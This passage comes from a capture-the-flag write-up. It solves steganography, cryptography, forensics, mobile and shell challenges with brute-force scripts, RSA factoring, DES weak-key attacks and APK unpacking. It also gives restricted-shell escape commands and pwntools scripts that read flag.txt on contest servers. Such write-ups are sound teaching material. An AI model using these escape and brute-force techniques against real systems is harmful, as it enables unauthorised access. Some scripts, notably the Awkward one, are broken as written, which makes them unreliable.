attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy): ```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file``` by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern): ![](assets//images//snowman_3.png) **Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html ## My ApologiesNothing witty to say here... just that I am sorry. Note, this flag is not in the usual format. Download the file below.\[apologies.txt](assets//files//apologies.txt) **flag_i_am_so_sorry_steg_sucks** **Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message: ```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag: ![](assets//images//apologies.png) **Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/ ## Dead SwapThere is a flag in my swap! Download the file below.\[deadswap](assets//files//deadswap) **Post CTF Writeup** **flag{what_are_you_doing_in_my_swap}** **Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes: ![](assets//images//deadswap_1.png) but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too: ![](assets//images//deadswap_2.png) during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing): `xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev` the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action: ![](assets//images//deadswap_3.png) **Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm ## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time. Download the file below.\[wazaa.wav](assets//files//wazaa.wav) **Post CTF Writeup** **flag{do_that_bit_again}** **Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag: `python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000` in action: ![](assets//images//walkman.png) this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy. **Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py ## Old SchoolDid Dade Murphy do this? Note, this flag is not in the usual format Download the file below.\[hackers.bmp](assets//images//hackers.bmp) **Post CTF Writeup** **JCTF{at_least_the_movie_is_older_than_this_software}** **Solution:** With the challenge we are given a bitmap (bmp) file: ![](assets//images//hackers.bmp) bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command: `zsteg -a hackers.bmp` and in action: ![](assets//images//oldschool.png) ***# Cryptography ## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long... Download the file below.\[homework](assets//files//homework) **flag{xor_is_not_for_security}** **Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` : ![](assets//images/docxor_1.png) furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb: ![](assets//images/docxor_2.png) but if we look at a regular PNG file or Zip file we get the following bytes frequency: ![](assets//images/docxor_4.png) we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key. so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file: [xorred_homework](assets//files//xorred_homework) this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag: ![](assets//images/docxor_3.png) **Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages ## HomecookedI cannot get this to decrypt! Download the file below.\[decrypt.py](assets//files//decrypt.py) **flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}** **Solution:** Now we get with the challenge a python script: ```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()``` this script is used for decrypting the cipher but it doesn't seem to work well: ![](assets//files//homecooked.gif) it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000. Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script: ```python 3import base64import sympy num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def prime(num): return sympy.isprime(num) def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()```and by running this more efficient script we get the flag in a reasonable time: ![](assets//files//homecooked_2.gif) ## TwinningThese numbers wore the same shirt! LOL, #TWINNING! Connect with:\`nc jh2i.com 50013` **flag{thats_the_twinning_pin_to_win}** **Solution:** When we connect to server given we the challenge we are greeted with the following: ![](assets//images//twinning_1.png) we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... and I explained why it works and how we can break the cipher: >...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases... if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us: ![](assets//images//twinning_2.png) now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module): ```python 3from Crypto.Util.number import inverse p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain) ```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag: ![](assets//images//twinning_3.png) I guess that the challenge name and description is joking about the proximity of the primes... ## Ooo-la-laUwu, wow! Those numbers are fine! Download the file below.\[prompt.txt](assets//files//ooolala.txt) **flag{ooo_la_la_those_are_sexy_primes}** **Solution:** With the challenge we are given a text file, the text file contains the following: ```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983``` So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again: ![](assets//images//ooolala_1.png) and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that: ```python 3from Crypto.Util.number import inverse, long_to_bytes p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag: ![](assets//images//ooolala_2.png) ## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this? Download the file below.\[prompt.txt](assets//files//vase.txt) **Post CTF Writeup** **flag{does_this_even_count_as_cryptooo}** **Solution:** We this challenge we are given a text file with the following content: ```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=``` this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}``` I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e): ```python 3import base64from string import printable cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=') for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))``` and by running this script we get the flag: ![](assets//images//unvreakable_vase.png) **Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple ## DecemberThis is my December... Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext) **flag{this_is_all_i_need}** **Solution:** With the challenge we get the following python 3 script: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('flag.txt', 'rb') as handle: flag = handle.read() padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00') with open('key', 'rb') as handle: key = handle.read().strip() iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag) with open('ciphertext','wb') as handle: handle.write(ct)``` and the ciphertext: ```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7``` We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext. we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation: and in a formal representation: we can now notice the following attribute of using weak keys in this mode of operation: in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code: ```python 3from Crypto.Util.strxor import strxor data = open("ciphertext",'rb').read()IV = "13371337" print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get: ![](assets//images//december_4.png) it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file: [weak DES keys](assets//files//keys) and wrote this script to crack the ciphertext: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('ciphertext','rb') as handle: ct = handle.read() with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys] iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)``` and we get the flag: ![](assets//images//december_5.png) ## RaspberryRaspberries are so tasty. I have to have more than just one! Download the file below.\[prompt.txt](assets//files//raspberry.txt) **flag{there_are_a_few_extra_berries_in_this_one}** **Solution:**: With the challenge we are get a text file, the content of the text file is: ```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output: ![](assets//images//respberry.png) this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation: ```python 3from Crypto.Util.number import inverse, long_to_bytes primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257'] e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317 phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag: ![](assets//images//respberry_1.png) **Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function *** # Forensics ## MicrosooftWe have to use Microsoft Word at the office!? Oof... Download the file below.\[microsooft.docx](assets//files//microsooft.docx) **flag{oof_is_right_why_gfxdata_though}** **Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting: ![](assets//images//microsooft.png) so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor: ![](assets//images//microsooft_1.png) after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file: ![](assets//images//microsooft_2.png) and the file contains our flag: ![](assets//images//microsooft_3.png) ## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right... Download the file below.\[manure](assets//files//manure) **flag{this_flag_says_mooo_what_say_you}** **Solution:** run strings on manure and grep for the flag *** # Mobile ## CandroidI think I can, I think I can! Download the file below.\[candroid.apk](assets//files//candroid.apk) **flag{4ndr0id_1s_3asy}** **Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag: ![](assets//images//candroid.png) ## Simple AppHere's a simple Android app. Can you get the flag? Download the file below.\[candroid.apk](assets//files//simple-app.apk) **flag{3asY_4ndr0id_r3vers1ng}** **Solution:** same as previous challenge: ![](assets//images//simple_app.png) ## Ends MeetAre you a true mobile hacker? Download the file below. **flag{rev3rsIng_ApKs_l1k3_A_Pr0}** **Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0` ***# Miscellaneous ## VortexWill you find the flag, or get lost in the vortex? Connect here:\`nc jh2i.com 50017` **flag{more_text_in_the_vortex}** **Solution:** With the challenge we are given a server to connect to, if we try connecting we get... ![](assets//images//vortex.png) ...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag: ![](assets//images//vortex_1.png) ## Fake fileWait... where is the flag? Connect here:\`nc jh2i.com 50026` **flag{we_should_have_been_worried_about_u2k_not_y2k}** **Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell: ![](assets//images//fake_file.png) seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/): ![](assets//images//fake_file_2.png) ## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out? Connect here:\`nc jh2i.com 50024` **flag{congrats_you_just_escaped_alkatraz}** **Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it: ![](assets//images//alkatraz.png) I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag: ![](assets//images//alkatraz_2.png) ## TrappedHelp! I'm trapped! Connect here:\nc jh2i.com 50019 **flag{you_activated_my_trap_card}** **Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco. Connect here:`nc jh2i.com 50025` **flag{okay_well_this_is_even_more_awkward}** **Solution:** use grep to find cat all files and grep only to flag format ```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025 s = remote(host,port) name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()``` ***# Scripting ## DinaHelp! I can't make any sense out of what Dina is saying, can you?? Connect with:`nc jh2i.com 50035` **Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}** **Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself. **Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous: ![](assets//images//dina_1.png) It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis. In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run): `send back yirkbmusswnqmhq as a string` and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can. At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that): ```python 3import refrom pwn import remotefrom random import choice # The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'} # The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, } def beautify_data(msg): return str(msg)[2:-3].replace("\\n","") # frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency) host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1: # Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0) # Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)} # The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]]) plaintext = ''.join(plaintext) if 'nope' in plaintext: break print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters)) response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break print(response) s.send(response.upper()) index += 1 print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag: ![](assets//images//dina_2.png) actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial. ## RottenIck, this salad doesn't taste too good! Connect with:\`nc jh2i.com 50034` **flag{now_you_know_your_caesars}** **Solution:** server response is ceaser cipher encrypted, code: ```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = 